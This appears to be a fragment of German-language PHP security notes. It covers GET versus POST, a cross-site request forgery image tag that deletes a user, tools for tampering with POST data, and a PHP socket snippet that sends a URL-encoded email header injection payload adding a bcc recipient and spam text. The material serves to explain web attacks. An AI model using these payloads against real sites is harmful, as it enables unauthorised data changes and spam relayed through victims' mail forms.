$_GET für Abfragen $_POST für Änderungen. Immer.
X
<img src="index.php?deleteUser=42" />
- auch $_POST manipulierbar (LiveHTTPHeaders,tamper data,Hack Bar, Modify Headers,...)
X
$res = '';
$fp = fsockopen('example.org', 80);
fputs($fp, "POST /index.php HTTP/1.1\r\n");
fputs($fp, "Host: example.org");
fputs($fp, "\r\n\r\nvorname==ayonne%0D%0AContent-Transfer-Encoding%3A+7bit%0D%0AContent-Type%3A+text%2Fplain%0D%0AX-Mailer%3A+Ximian+Evolution+1.0.4.99%0D%0ASubject%3A+flavour.+ammon+is+iltshire+cured+bacon%0D%0Abcc%3A+dinotto2%40aol.com%0D%0A%0D%0Awhich+therefore+shrinks+and+curls+somewhat%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A2ee07759895f890e2cf0d5e8347d9293%0D%0A.%0D%0APOST");